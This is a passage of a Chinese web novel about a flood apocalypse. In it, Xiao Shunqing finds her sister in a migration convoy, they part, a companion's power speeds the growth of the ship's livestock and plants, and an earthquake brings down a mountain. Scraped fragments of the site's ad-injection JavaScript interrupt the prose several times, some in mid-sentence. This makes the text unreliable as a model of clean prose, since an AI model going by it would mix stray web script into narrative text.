沈金兰累得慌，动作慢腾腾的，萧顺清回身将她按住。 “奶奶，我去就行，你好好休息。” 看李自和苏凤晚没有起身的意思，她又拜托道：“劳烦你们照顾一下。” 这两人没有寻找亲人的想法，这次行动也是陪同一起来陆地上看看情况。 沈金兰实在累得走不动，也就让萧顺清走了。 尤晴打头，身后跟着四个人。 “我们这支队伍速度可快了，存活率也高，毕竟有官方参与嘛，前面那些队伍活下来的人不少，但死得也多，唉，不像我们这儿，都是拉拉扯扯搜刮到的人，损失的也不多。你们绝对想不到，当时我从天而降，整合所有人……” 尤晴性格显然十分外向，对于自己在队伍中起到的优秀作用大说特说。 之前那次见面，她们有想吸纳她的意思，但尤晴说自己向往自由。 现在却待在这只队伍里…… 也许从她高兴的样子来看，她并不觉得自己的自由牺牲得不值。 “对了，你们怎么来的，我一开始没注意，我记得你们是不是有人有异能来着，要不要加我们救援队？” 萧顺清回想后，确认对方知道她们中有人有异能，但并不知道异能对应，她选择性接话： “救援队是什么？” 尤晴解释了一下，其实就是萧顺清她们理解中的管理者，都是异能者，负责整支队伍的安全。 丘莲忍不住接话了：“那掉队的人呢？你们也管吗？” 尤晴说的话分不清是残酷还是负责：“等整个队伍走过，还没死我们就管，不能中途管，不然整个队伍都容易死。” 她指了指后面，这么远的距离，海平面已经看不太见了，但她们都知道她指的哪里。 “要是被水赶上了，就死的不止一个人了。” 说话间，她们看见有异能者扶着许多昏迷的人到车前，有人从车上拿了物资下来，似乎在救治。 竟然是这样。 萧顺清不得不佩服，虽然她做不到，但对方能救这么多人，从任何方面来讲，无可挑剔。 她们又说了几句，主要是尤晴在介绍自己的队伍，越过很多辆车，她们终于看见最前方的车子。 和物资车别无二致，车后开启的门显示着里面住着人。 精神面貌来看，她们的状态很不错。 “到了，小灿！” 她叫了一声，一个众人的目光落在一个劲瘦的女人身上。 仅仅看背影，她们只感觉到对方身上有种力量感，从车上搬物资下来的动作也干脆利落，直到对方转过脸来，才从那张弧线温和的脸上看见这人的笑意。 一定是个很温柔的女人。 “喏，给你介绍一下，萧丰灿，对了你哪个萧啊，她是草字头那个……” 空气好像有点异样的静谧，尤晴先注意到的是好友萧丰灿的样子。 她的笑意僵在原地，视线也落在了身后的‘陌生人’身上。 这么巧？ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这是所有人的心声。 萧顺清身体僵硬，手指攥紧，那种从四肢百骸传来的麻意让她寸步难行，但看清眼前人的样子后，她又克制不住想要扑到她怀里。 她的模样变化不大，这么久的风雨似乎也没有怎么改变她。 事实上，是她的气质让人难以忽略，人们看见她的第一眼总是会觉得清风徐徐，总是和风细雨。 她的性格是没有变化的，所以当眼前人的气质和记忆中的人重合，那个人就从风雨里走出来了。 不像她，绞了头发，皮肤也黑了，身体也壮实很多，但从那人震惊的样子来看，她也是认出她了。 是她姐姐…… 真的是萧丰灿！ 她怎么想也不会想到会这么巧。 萧顺清的手似乎已经不受控制了，脚步迈动，下一刻她就要忍不住颤抖的声音。 萧丰灿也下意识走近了几步。 “姐……” 萧丰灿：“陈师望？？？” 萧顺清：“……” 萧顺清：“陈师望？？？” 尤晴/丘莲：“陈师望？” 周莹/陈师望：“……” 陈师望深吸两口气，忍了好久才实现从震惊到震惊到震惊的转变。 看见萧丰灿的震惊，到萧顺清居然跟萧丰灿是姐妹的震惊，最后到对方竟然一眼就认出自己震惊。 陈师望：“……嗨~好久不见，呵呵。” 萧顺清情绪上来，觉得有点受不了了。 就算她变化再大！她姐姐不至于认不出她吧！ 她都认出陈师望了！！ 话说为什么会认出陈师望，她们以前居然认识？ 萧顺清和萧丰灿相差两岁，高中之后就没有同校过，彼此之间共同认识的人并不多。 但是眼下当然是相认更加要紧。 只是一打岔，她发现自己原本都快酝酿出来的眼泪都没了，冷着声音道： “萧丰灿！” 萧丰灿应声和她对视过来。 从疑惑到迷茫，到终于找到自己熟悉的样子。 “萧，顺清？” 见她终于认出自己，不是自己产生了什么幻觉，也不是什么能够变成她想见的人的异能，萧顺清还是只想冷笑。 她双手插兜，任由她从脸看到身上。 “是我，终于找到你了。” 明明是历尽艰难的结果，情绪就这么平平淡淡，一旁看戏的人甚至还听出了一点咬牙切齿。 萧丰灿半点听不出来的样子，确认对方是萧顺清之后，眼睛一憋，就算是这么大的雨都能看见她豆大的眼泪。 她两步就跑了过来，一把将萧顺清揽进怀里。 “你，居然真的是你，太好了，你还活着，我们还见面了……顺清，你怎么到这儿的，是不是受了很多苦？我以为你应该早就被迁移到米诺去了，没想到在这儿还能看见你，呜呜呜呜……” 情绪确实激动，萧顺清心气顺了，很明显对比刚刚看见陈师望的状态，萧丰灿的确是更想看见自己的。 她也忍不住吐出一口气，回手抱住萧丰灿：“嗯，所以是因为这样你才第一眼只看见了陈师望？” 萧丰灿：“……” 她以为这茬儿揭过了呢。 42.资料 萧丰灿与尤晴耳语几句，很快就带着萧顺清和陈师望去到另一辆没人的车旁。尤晴则带着剩下的两人去找登记表。 斗篷打开，遮住些风雨。 萧丰灿拉住萧顺清的手，看着二人发问：“你们怎么会一起，是专门来找我的？” 萧顺清心情平复了一大半，微微摇头道：“倒也不是，凑巧一起到了这里。” 在没有详细了解目前情况下，她也不想多说。 而且，更重要的是另一件事：“奶奶也跟我在一起。” 萧丰灿的眼睛睁大了，刚刚勉强止住的眼泪又开始泛滥。 “奶奶？你找到奶奶了？天哪，都还活着，太好了，太好了，你们两个都找到了，奶奶在哪儿？我，我们，让我看看她！” “你不应该是第一批转移的吗？怎么会到老家……你专门去找她们对吗，是我的错，我以为都见不到了，我还以为都见不到了，你居然找到她们了……” 萧丰灿语无伦次地说着话，她的感情比萧顺清丰沛得多，紧接，手掌颤抖地要拉着萧顺清去看久别重逢的另一个家人。 萧顺清没有动。 “奶奶很好，但是，先跟我说说你的情况吧。” 萧丰灿沉默了一瞬，摸了摸眼睛，不知道是在擦眼泪还是擦去雨水。 她挤出一个笑容来：“是，我们先聊聊，先聊聊。” “暴雨来的时候，我原本想要去找爸妈……”萧丰灿的手攥紧了，声音颤抖，但幸好忍住了，“但是雨太大了，我们被管控起来，准备分批转移，一开始，我还联系得上她们，后来，我所在的迁移队遇到山洪爆发，整个队伍都被冲散，我几经周转，才又组织了一大批人准备沿着之前规划的迁徙路线走，兴许可以找到她们，但是，我还没找到。” 萧丰灿在自责，在愧疚。 她也在后悔，后悔没有从一开始就脱离队伍去和父母一起。 原本她们离得那么近，却因为最开始的侥幸心理，导致现在天各一方，彼此不知生死。 而现在，她更是亲眼看见明明相隔那么遥远，萧顺清还是找到了奶奶。 明明她一开始要幸运得多，却一点也比不过妹妹。 是她的错，她是亲手把自己的父母弄丢了。 萧顺清握住她的手，同样也在平复自己的心情。 父母和姐姐一直在同一个城市工作，她也曾经希望过可以一起找到她们，但是天灾人祸，亲人失散的不只她们一家，哪有那么多幸好幸好呢。 她只想说一句，幸好……她还活着。 在不在一起，又能怪到谁头上呢。 萧顺清拍了拍她的背，说道：“见到你好好的，奶奶和我都很高兴，已经很高兴了。” 萧丰灿语速极快地说了声抱歉，背过身去，捂着脸强迫自己冷静下来。 过了一会儿，她才又转过身来：“说说你们吧。” 陈师望眼看着这两姐妹聊得，一会儿哭一声一会儿哭一声，觉得自己应该来说点什么，打破这悲伤的氛围。 家人团圆，已经比绝大多数人要更加幸运了。 “那个，我说吧。我本来在水上飘着，是萧顺清救了我，我也不知道她是你妹妹，你们两个长得不太像。” 何止，他现在才知道，原来两姐妹的性格也是天差地别，虽然都姓萧，但他就是完全没把这两人搭在一起过。 他又跟萧顺清解释道：“我跟你姐姐是认识，那个，之前我不是说过，我有个前女友跟你同乡，她是我前女友……” 萧顺清微微睁大了眼睛。 陈师望：“的朋友。” 萧顺清松了一口气。 陈师望：“我们也是高中同学，已经好多年没见过了。” 萧顺清暗想，这么多年没见的一个高中同学，竟然比她这个妹妹还要先被认出来，萧丰灿也真是够可以的。 就听萧丰灿阴阳怪气道：“是啊，高中同学，不过我觉得还可以再补充一点，陈师望，我前女友……” 萧顺清睁大了眼睛。 “的前男友。” 萧顺清倒抽了一口凉气。 她的内心受到极大冲击，只能双手交叉挡在胸前，可惜精神攻击还是毫不留情砸在她脑袋上。 萧顺清后退两步：“等一下你们，先等等，我觉得，到此结束吧。” 这种奇怪的关系，还是先不要管了，她是真管不了了。 “你现在是什么情况，我看你和尤晴关系还好，你们是一起在带这支迁徙队？尤晴这人很热情没错，但之前我们机缘巧合之下见过一面，她居然愿意留在迁徙队里？” 萧丰灿可疑地沉默了一下。 萧顺清有了不好的预感，不知道为什么，总觉得这又是一个非常不好的话题。 陈师望幽幽：“应该是那种关系吧，总觉得是你的类型呢。” 萧顺清：…… 萧丰灿：“……差不多吧。” 萧顺清已经面无表情了：“可以了，我们先去看奶奶吧，你注意一下，别说太刺激的话刺激她。” 萧丰灿：“哦哦，好，那个……爷爷呢？” 萧顺清停顿一下，摇了摇头，萧丰灿也沉默下来。 “奶奶和你都还活着，已经很好了。”萧丰灿轻声说道，也不知是不是为了安慰自己。 这一对祖孙也见面了，萧顺清没有加进这场面中。 萧丰灿可以照顾好奶奶，她现在不能再沉浸于悲伤里。 “走吧，我们去帮忙。” 陈师望点头跟上，她们去找尤晴几人。 周莹和丘莲还在翻找登记表，因为电子设备不方便携带，有一部分数据是用纸张储存的。 也许是萧丰灿影响了珍格格队伍，她想找到自己的亲人，所以一直坚持做登记，为了以后能够亲人重逢。 但是资料太多，她们翻找起来很麻烦。 队伍有发放食物，她们当然不需要这顿填不饱肚子的餐食，尤晴便将她们留在车内，让她们自己找名字。 “你找到了吗？” 周莹摇摇头，眼睛没有挪开，依旧落在手上的纸张上。 又翻过一页。 萧顺清和陈师望跃上车厢，拿过她们还没看的部分也寻找起来。 丘莲犹豫了一会儿，还是问出了声。 “你不是已经找到姐姐了吗？怎么还……” 萧顺清没有抬头，只随意道：“帮你们找。” 她们之前都沟通过彼此想找的名字，当 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然，是最重要的那些人，或许有不怎么重要，但也算熟人的，若是本人看见了，也能多点安慰。 丘莲没想到是这个回答，复杂地看了一眼萧顺清，又低头慢慢看起来。 周莹显得急躁很多，嘴抿的很紧。 萧顺清翻过一份又放在一边。 这些资料并不详细，姓名性别，但似乎是登记者为了方便后续找人，还登记了亲属和原籍。 真是贴心的操作。 时间一点点流逝，成年人的情绪还算好，但周莹不太沉得住气。 她烦躁地区拿另一沓登记表，却在起身时不小心落下一张看过的纸。 萧顺清顺手捡了起来，却忽然看见一个熟悉又陌生的名字。 高，嘉，涛。 她浑身僵硬起来，直到丘莲推推她： “怎么了，有什么不对吗？” 萧顺清下意识否认：“不，没事。” 她又去确认高嘉涛的其他信息，父母一栏没有信息，不知道是他不想找人，还是父母已经死了。 萧顺清呼了一口气，尽管她认定自己重来一次也依旧会将那一家三口都扔下水，但是“故人”重逢，总让她心里不安。 也许应该快点离开。 熟悉的人名让萧顺清心里有了挥之不去的忐忑，翻完所有资料，周莹和丘莲都没有收获。 丘莲揽过周莹的肩膀，轻声安慰她。 萧顺清原本正沉浸在别的思绪里，看见这一幕，有点怪怪的。 她迫切想寻求在场另一个可能有相同看法的人的认同。 看向陈师望，陈师望目光复杂。 萧顺清懂了。 陈师望回看过来，小声道：“放心，小周还是未成年呢。” 萧顺清：“……” 好吧，是她先前被冲击太过，草木皆兵了。 下了车，回到之前她们集合的点。 人群里此时并不像一潭死水，她们都拿到了分发的时候，此时正在从来之不易的饭食里汲取下一次逃命的能量。 萧丰灿也还没有离开。 她们正在聊天，萧丰灿一向是个善于结交朋友的，就算是刚认识，也聊得十分开心。 苏凤晚和李自都面色轻松。 见她过来，苏凤晚让了让位置，让她坐在沈金兰身边。 萧顺清目光落在沈金兰脸上，见她只有笑容，也知道萧丰灿没有说什么不开心的事。 放心些，又响起之前看见的名字，还是没有忍住，想要问问。 “你记得这里有个叫高嘉涛的人吗？” 萧丰灿被问得一愣，开始思考起来。 其他人莫名其妙，刚刚萧顺清不是去翻资料了吗，这是看见了谁的名字？ 唯独苏凤晚皱着眉想了又想，终于想起来这个名字。 “他？！他不是？” 她吓了一跳，萧顺清安慰她：“也许只是同名。” 又见萧丰灿摇头：“没印象。” 萧顺清有预料到：“没事，不重要。已经找过了，我们趁现在离开吧。” 萧丰灿：“你们要走？” 萧顺清心里一紧，沈金兰也惊到，拉住萧丰灿的手急切道：“灿灿，你不跟我们一起走吗？” 43.分别 每个人心里都是惊讶，萧丰灿眼里的惊讶也同样不小。 她不明白妹妹她们为什么辛辛苦苦找到了迁徙部队，却还是想离开，她们离开也有能去哪儿呢？ “我们的目的地是米诺高原，每天都会发食物，除了实在救不回来我们会尽力不抛弃任何一个……你们都想走吗？” 萧丰灿脸上的小心翼翼很快化作眼泪。 萧顺清张了张嘴，却道：“我不能待在这儿。” 沈金兰心软，两个孙女她谁也不想分开，但是，顺清说得对，她只能回到船上，不在船上的顺清只是一个普通人，要每天跟在队伍里跑，很快就会变成一包骨头。 她怎么舍得。 “灿灿，你跟我们走吧，我们，我们那里更好。” 萧丰灿着急争辩：“奶奶，顺清，你们留下好不好，我，对了，你们还不知道吧，我有异能，我能照顾好你们的，我不想跟你们分开好吗？” 被恳求的沈金兰手足无措，她哪边都割舍不下。 萧顺清止住萧丰灿的话头。 她压低声音道：“我也有异能，我们回去能够活得更好。” 萧丰灿意识到什么，目光扫过和她家人一起出现的伙伴们，尽管极力伪装，但仍旧能够看出精气神来。 那是她们这支队伍中，一直紧绷逃命弦的幸存者们绝对不会有的。 她们过得很好，至少萧顺清没有说错，她们一定比留下过得好。 萧丰灿沉默了。 良久，她放开了沈金兰的手，苦笑道：“那，你们什么时候走。” 沈金兰慌了：“灿灿！你还是不跟我们走吗？顺清她真的很厉害，我们，顺清她，她有一……她有异能的！” 她几度改口，还牢记着萧顺清的嘱咐，而萧顺清却看着萧丰灿的眼睛，直白地说： “我有一艘船，一艘，绝对安全的船。” 萧丰灿呆愣在原地，许久没有说话，等她终于反应过来，却还是沉默。 “好，我知道了，那我就放心了。” “你还是不跟我们走。” 并非疑问的语气，萧顺清平静的陈述这句话。 萧丰灿苦涩耸肩，又笑笑。 “我不可能丢下这里不管。” 她有自己的事要做，如果她是孤身一个人，她一定会毫不犹豫点头，去到自己亲人身边，但是，她承担着着些人的命。 责任，是她给自己套上的枷锁。 沉默似乎总是出现在几人的谈话中，萧顺清过了很久，才笑了一下。 “我就知道。” 当看见萧丰灿竟然在负责人行列中时，她就应该有预感。 她这个姐姐，学不来她的冷心冷情，自以为在那个位置，总要对相信她的人负责，也许，还因为这样，把向往自由的尤晴都教坏了。 “好，你，一定要保重。” 沈金兰哭起来，萧丰灿抱住她，又伸手将萧顺清揽过来： “好啦，你们知道我的异能是什么吗？你们要是知道了肯定就不会担心我了，我是治疗哎！很能活的，我们，我们到米诺高原见，好吗？” “我们计划从汉沽隧道走，说不定，很快就能到了，要不要我等你们？” 萧丰灿开玩笑似地说。 汉沽隧道是连接米诺高原和高原之下公路的一个隧道，因为这个隧道的存在，原本需要绕行数百里的路，缩短至一百里以内，是人类科技发展的一大结晶。 如果她们从这条路走，那的确很快。 但是：“那可不一定，我们走水路……” 不多时，高空中再次响起哨声，萧丰灿抬头望去，喃喃道： “时间到了。” 出发的时间到了。 “你们，是要现在走吗？” 萧顺清看着她：“好不容易上岸一趟，我们要找物资。” 除了萧丰灿，在场几人都惊讶了，没想到这种情况下，萧顺清还记得找物资的事。 萧丰灿问：“你们的物资够用吗？需要我帮忙……可能，也帮不上什么忙。” 她们还有一整只队伍要养呢，不管是食物还是干净的水，对于这只庞大队伍而言都很稀缺。 萧顺清也不会为难她：“你走吧，我们自己会找。” 已经到了陆地上，有什么东西就带什么东西，总有一天能够派上用场。 尤晴从天上落了下来，站在萧丰灿身边。 “该出发了，怎么样？” 萧丰灿笑着对她点点头：“嗯，正常出发。” 尤晴便又飞上高空，第一声哨向后，所有人开始预备，纷纷站起身等待最后指令，第二声是催促，第三声后，萧丰灿转过身。 她们没有挥手，没有告别，就这么看着萧丰灿的身影被浩荡人群淹没。 萧顺清被崩溃的沈金兰抱住，一动不动看着远方，直到一点也看不清那个身影。 万籁俱寂。 “我们，是不是也该出发了。” 萧顺清垂下眼眸：“嗯，我先送奶奶会船上一趟。” “要不我们都先回去一趟？也不知道船究竟停在哪儿了，我方向感不太好。” 萧顺清看看天空，时间还早。 “那就先沿路看看，不要浪费时间。” 她们回去这段路也能有收获，花花草草，陈师望甚至从石头地下挖了虫子回去。 尽管苏凤晚对他手里的虫子表示了唾弃，陈师望还是坚持要带回去。 “再不济还能给鸭子吃。” 总归也算是某种生物链的一环。 走着走着，萧顺清忽然感觉到一丝异样。 船上，好像又有人要升级了。 她自然地看向众人，她们却没有什么异样。 那就是唯一一个还留在船上的人？ 陈阳升级好像特别快。 她没有多想，上次陈阳升级是在昏迷中度过的，升级结束之后也没有醒过来多少时间。 她们这次下船留了纸条，就算她升级完醒了过来，也没有什么问题。 走过一段路，萧顺清忽然又感觉到不对劲。 她狠狠皱起眉头，怎么回事，她怎么好像也要升级了？！ 这不符合她升级的常理，她的异能是对船使用得越多升级越快，按理越往后升级约不容易。 是怎么回事，明明不该这么快。 萧顺清脚步一顿，苏凤晚立刻发现。 “怎么了，看见什么了吗？” 萧顺清其实还想尽量推迟异能升级的时间，但是这显然不受她控制。 她只来得及说一句：

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “扶我一把。” 然后便向前倒去，她也不知道自己有没有被接住，但她也没功夫想了。 因为这一次，她并没有痛感，意识却坠入黑暗。 每次升级的疼痛感也让她难以捉摸，上次痛，这次又不痛了。 萧顺清又看见了一艘小船，她下意识觉得那艘船属于自己，但明明她的船已经很大了。 于是，那艘散发着白光的小船似乎震动一下，它变大了，一点点。 意识宛如进了流沙，柔软却难以自拔，她抱着那艘小船，蜷缩在一起，不知道时间究竟过去了多久。 待到终于感受到自己在移动，雨水也打在她背上，她才扶着身下的东西醒过来。 身下的东西是李自。 她们正在漫无目的的寻找岸边，一边搜集各种东西一边等着她醒来。 真是奇怪，从前要寻找陆地，现在她们倒是要寻找水面了。 “放我下来。” 李自这才知道她醒了，从善如流把人放下，其他人也关心起她的状况。 苏凤晚：“怎么了，怎么忽然就晕过去了，吓我一跳。” 沈金兰：“没事吧顺清？” 萧顺清摇头：“没事。” 的确没事，她甚至连疼痛感都没有，还觉得像是睡了一觉，很舒适。 也难怪她们发现不了自己升级了，估计在升级过程中，她一点也没有疼过。 萧顺清闭上眼睛，脑中浮现船上的一切，如同拉片一样，从船内到船外，一切尽在眼前。 这是她新升级出来的能力，即使远离船，即使闭上眼，她也能“看”见船上和船周的一切。 这会儿，陈阳果然在升级，比起睡一觉就升级成功的她，陈阳的状况似乎就不太舒适了，整个人僵硬地躺在地板上，脸颊绯红。 萧顺清正要收回“目光”，却忽然看见一层船舱似乎有什么东西。 那是……疯狂生长的树根？还有，一窝兔子。 兔子生了！ 还有那棵树，这是发生了什么？ 萧顺清下意识控制船体，将树的每一根系都隔离起来，但这仍旧阻挡不了树的生长。 那发芽抽枝的样子，像是游戏中被浇灌加速药剂的植物。 萧顺清立刻将船头与船舱封闭，她担心这是树成精了，要是让它伤了人就不妙了。 同时，她目测一个方向，道：“这边，我们赶紧回去。” 到达岸边，船的隐蔽尚未撤去，从高高的山崖向下望，一眼看不见船，但，所有人都看见了那颗树。 枝繁叶茂，宛若参天。 不超过半天时间，这树从一棵勉强续命的老树变成如今这样，实在是让人震惊。 “这是，异变了？你刚刚昏倒，就是因为这个？” 萧顺清隐瞒了自己又经过一次升级的事，底牌越多对她越有利，这种事没必要完全坦诚。 她默认了这件事。 船调了一个头，尾部出现一扇门，她们顺着出现的楼梯爬上去。 有人扶起陈阳紧接着道。 “这也太吓人了，我们之前只见过水里的怪物。” “是不是能把这树直接扔进水里，萧顺清……你……” “不，不用！” 陈阳醒了。 44.陈阳 陈阳扶着一个人的手坐起来，眉头微皱，脸颊通红，昭示着她身体的不适。 就连扶着她的丘莲也惊呼： “你身上好烫！” 至少有六十度了！ 之前陈阳升级，会让自己的温度升高，与之同时出现的，是她身体和精神上不堪高温带来的萎靡。 而此刻，陈阳抽出手，精神好像还不错。 原本身上烤人的温度也收敛了些。 萧顺清：“你能收敛温度了？” 陈阳歉意道：“只能收一点点，要是完全把热量压住，我会炸的。” 目前的温度也只是比她刚刚醒来那会儿好了些，但按照人体正常温度来看，她已经是个高烧患者。 “你刚刚让我们不要扔掉那颗树，为什么？” 陈阳醒过来后第一句话就是阻止，显而易见，她知道这棵树发生了什么事，而且想必和她有关。 果不其然，陈阳道： “它是，因为我的异能才生长这么快的，这是异能升级带来的一点效果，它们本身没有变异，只是因为我加速了生长时间。” 在她的解释声中，萧顺清的眼神闪烁。 这种加速，是囊括了动植物吗？之前她便发现，一楼的种植区中，兔子已经生产，小鸭子也服了出来，出此之外，还有别的细节变化，整个种植区都欣欣向荣。 也许再过不久，她们就能暂时摆脱食物困境。 如果陈阳的异能能够加速动植物的生长，这些就得到了解释。 她不得不说，很好。 也许当初决定把陈阳带上船，是她做的最好的决定。 想到这里，她目光不禁柔和起来。 “你现在能够一直保持清醒吗？” 看陈阳一口气说了这么多话，也终于对自己的异能有了更深的控制和理解，不管从按个方面而言，陈阳能够正常沟通都是一件好事。 哪知陈阳沉默了。 过了一会儿，她才喘着热气苦涩一笑。 “除非我能醒着，不然，就不可以。” 这是一句废话，但陈阳没有耽误时间，很快解释。 “一旦我睡过去或者其他方式失去意识，就没有办法操控异能，身体又会出现高热状态，但是，我的身体承受不了这样的热度，事实上，之前也是因为异能实际带来的温度我没有办法承受，所以才会一直迷迷糊糊。” 其他人也多少有所猜测。 她们这些有异能的人，身体素质是比普通人高些不错，但没有变成天龙人的地步，譬如沈金兰依旧是个老奶奶，跑步会喘，不能一拳打爆地球。 周莹依旧是个柔柔弱弱的女高中生。 除了真正身体强化方面异能的李自，她们都没有脱离“正常人类”这个范畴，同理，陈阳也不可能因为异能的提升而增强人类对于温度的承受能力。 “拥有这个异能的我，已经算是比你们更耐热了，不过海慧寺远远比不上异能升级后的温度罢了，现在这样四十多度，我就完全不会受到体温对脑子的影响。” 陈阳的一切都如此清晰明了，她捂了捂眼睛。 “所以，我可能很难醒过来了。” 众人安静。 沈金兰叹息一声，悄悄抹了下眼泪。 所有人的目光都落在陈阳身上，陈阳却情不自禁看向萧顺清。 她知道萧顺清在这艘船上的掌控力，从前她意志模糊，只有求生的潜意识，上船之后反而不会想那么多。 但现在，她作为正常人类的思维开始转动，可以说，直到今天，她才真正开始进行船上的生活，新人的不安感此时才开始滋生。 那么萧顺清，会对她有什么看法呢，她的意见是最重要的。 萧顺清堪称温柔，询问。 “那你不会出什么事吧，也许下一次异能升级，能够再次醒过来，也会有新的变化？” 陈阳的心脏重新开始跳动起来，是啊，异能是她目前唯一的希望，不就是暂时不能醒过来吗，只要萧顺清不将她扔下船，她迟早会迎来自己的转机。 萧顺清看见她的神情变化，笑容更加和煦。 “放心，你就在船上好好生活，其实你应该想到，只要还想再好好活下去的人，都不会对你怎么样。” 陈阳目光疑惑一秒，下一刻，恍然大悟，露出一个轻松的笑来。 “谢谢你，我知道了。” 反应迟钝的还不知道萧顺清怎么忽然转了性子。 虽然大家都知道她不会扔下陈阳，但是这么温柔的样子可是从未有过。 陈师望更是小声议论。 “她怎么了，陈阳是不是还有有个魅惑技啊。”一转头，丘莲根本不理他，甚至脸色有点难看。 丘莲深深呼吸着，控制自己的不甘愿。 是的，她很不甘。 她没有异能，从来都是最弱的那个，但她至少能跑能跳，就算有一天灾难来临，她也能有办法自己求生。 比陈阳更好。 陈阳是被丢下的。她坦然承认自己内心的恶劣，因为陈阳一个异能者都被丢下等死，而她一个普通人却好好活着，所以她找到了平衡。 但现在，她明白了，普通人没有办法跟异能者相比，只要是异能者，永远比普通人更能得到生的希望，就算陈阳少了一条腿又怎么样，就算陈阳没有意识又怎么样，她有异能，她的价值让所有人都不会跑下她。 她什么都不用做，就能够活下去。陈阳当初会被丢下，只是因为别人不知道她有异能。 而她丘莲，就算用尽手段用尽心机，谁也不会真的保护她。 也许是她脸色实在不对，原本陈师望只是聊个天都被吓了一跳。 “你怎么了？” 丘莲低头，飞快笑了一下：“没事，没事。” 不会有事的，她在船上，她已经在船上了…… 知道船上大树忽然“暴动”的原因后，众人的心明显放松下来，回到船上开始休息整理带回的东西。 吓到种植舱，众人这才明白陈阳异能的威力。 “兔子！我靠！四只！这不直接开养殖场了！” “杂草长得这么快，正好割了给兔子。” “螃蟹是不是怀崽了，不好，小鸭子想吃螃蟹！” 简直是大丰收，动物，植物，在陈阳异能的辐射下疯狂生长，她们已经能够想象到今后的美好日子。 萧顺清说得对，没有人会动陈阳，她们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 恨不得将陈阳供起来。 苏凤晚：“来，陈阳，喝点水，来吃点饼干，还有这个，我专门给你留的榛子。” 陈阳咳嗽两声，苏凤晚连忙给她抚背，照顾得无微不至。 她有些不适应：“其实，就跟以前一样对我就好了，不用特别关照。” 苏凤晚笑眯眯：“那哪儿行啊，你是病患。” 陈阳：“是不是该烤衣服了。” 苏凤晚：“……” 害，竟然被发现了呢。 陈阳咳嗽着笑起来：“没事，这样正好。” 她不介意船上的人将自己当成火炉，异能能够以这种方式带来好处，也不是不可以。 这一夜，陈阳醒了很久很久，迟迟不愿意睡去，船又再次开动起来，她知道，她们想去的地方是米诺高原。 有人敲了敲她的门。 “谁？” 萧顺清的声音响起。 “是我。” 陈阳把门推开。 为了方便她在这儿睡一晚，萧顺清特意给她装了推拉门，敲门是礼貌。 “你是想找我聊天？”陈阳不解问，萧顺清大晚上不睡觉，显然是想跟她说些什么，她猜不到。 萧顺清邀请她到船头吹吹风。 陈阳目露惊讶，下意识看向自己的腿。 萧顺清则向她展示自己在驾驶室工作半天的结果。 所有人都不知道她又升级了，但她知道，而且还有新的能力，出于不想偷窥的目的，她并没有“看”整艘船的各个状况，但是多多少少有一点感知。 譬如她就知道，陈阳没有睡着。 既然如此，那就得享受一下难得的清醒时光。 萧顺清下午的时候砍了些大树的枝叶，勉强做了一个没腿的椅子，后背还有两根绳子，只要陈阳坐在上边，她就能把人拖到床头去。 事实上，她要是想，挪动陈阳所属房间的位置也不是不可以，但是那样有点冒昧。 陈阳最终还是做到了咯人的椅子上，现在的状况依旧让她摸不着头脑，目光迷茫。 萧顺清把她拉到船头，如今陈阳在，下午砍掉的枝叶对于大树而言就是洒洒水，已经长好了，依旧枝繁叶茂。 茂密的树叶为她们挡住了迎面的风雨，能够清晰看见外面的天空。 云层笼罩，月亮和星星都不见踪影。 “你想跟我聊什么？” 萧顺清笑了一下：“其实没什么好聊的，我本来只是想看看月亮。” 陈阳也微微笑着：“但是没有月亮。” 萧顺清便安静坐着，最后，她还是开口了。 “谢谢你。” 陈阳惊讶极了：“为什么突然……因为我的异能。” 萧顺清干脆点头：“ 嗯，因为你的异能，感觉，什么都在变好。” 陈阳沉默了一会儿。 “你好像跟我想象中不一样。” 萧顺清笑笑，不置可否，她们眺望着远方，船匀速潜行，贴着岸边，随时能够靠岸寻找物资。 忽然，她们都听见一声巨大的轰鸣，响彻天地，甚至震荡了水面。 “轰！！！” 萧顺清皱眉，这是什么声音？ 45.震荡 突如其来的轰隆声，好似平地惊雷，炸响在人类的耳边。 但那绝不是雷声，天空中一如既往地黑暗阴沉，带着不祥笼罩这方世界。 船上的人纷纷惊慌地涌出房间门，一股脑来到船头看看发生了什么事。 即使没有那炸裂的雷声，她们也会醒过来，因为船身开始震荡，波动的力量从水底传递到船上，即使萧顺清立刻控制住，但那一瞬间的惊变还是让她们意识到了什么。 所有人看向远处，那黑蒙蒙的，却与黑暗夜幕区分开的高耸山体，晃动着晃动着。 然后，那原本好似顶天立地的坚实山峰一点一点，矮下去。 山……在塌陷。 终于，一道银龙闪电划破长空，远处的山映照于人目中，那巍峨的高山，有一半的山体正在落下滚滚泥河。 苏凤晚捂住了砰砰狂跳的心脏，声音干涩：“我没看错吧，山，是不是……裂开了。” 好像有不知名的巨人，将那人类难以逾越的高山视作阻碍道路的小突破，一脚将一切踢到摧毁。 “是的，裂了。” 不知是谁回复了她，下一刻，再难平静下来的水浪高高扬起，即使被大树遮挡大半，仍旧浇在船内崇仁头上，将她们拉回了现实。 “地震！是地震！！” 远处的地面都在颤动，巨石滚落，地表分裂，她们看见的一切都是如此的可怖。 萧顺清竖起了船头的屏障，将整个船身打造成坚实的庇护所，风浪无法侵袭。 但她平静不了。 “那是，哪座山。” 她的声音几乎是从嗓子眼里挤出来的，问出这句话已经耗费了她的最后心力。 丘莲贴着船体墙面，面条一样滑坐在地上。 “沽拉山，是汉沽隧道修建的……” 萧顺清面无表情的进了驾驶室。 她并没有真的疑惑那座山的名字，覆巢之下无完卵，一座山塌了，另外相连的几座山不可能没受到影响。 所以，她转身进驾驶室的动作十分迅速，流畅到众人第一时间没有反应过来她要做什么。 很快她们就懂了，船头调转一百八十度，冲着来时的方向冲去。 丘莲后背撞上铁壁，脑子一瞬间清醒过来。 她跌跌撞撞爬起来，冲向驾驶室，拼命拍打。 “萧顺清你要干什么！你疯了吗！我们为什么要去沽拉山，我们会没命的！！” 驾驶室的构造坚硬无比，丘莲的手拍得通红，却没有得到萧顺清一个垂眸。 她的声音如同铁皮一样冰冷。 “我要去哪儿，你管不着。” 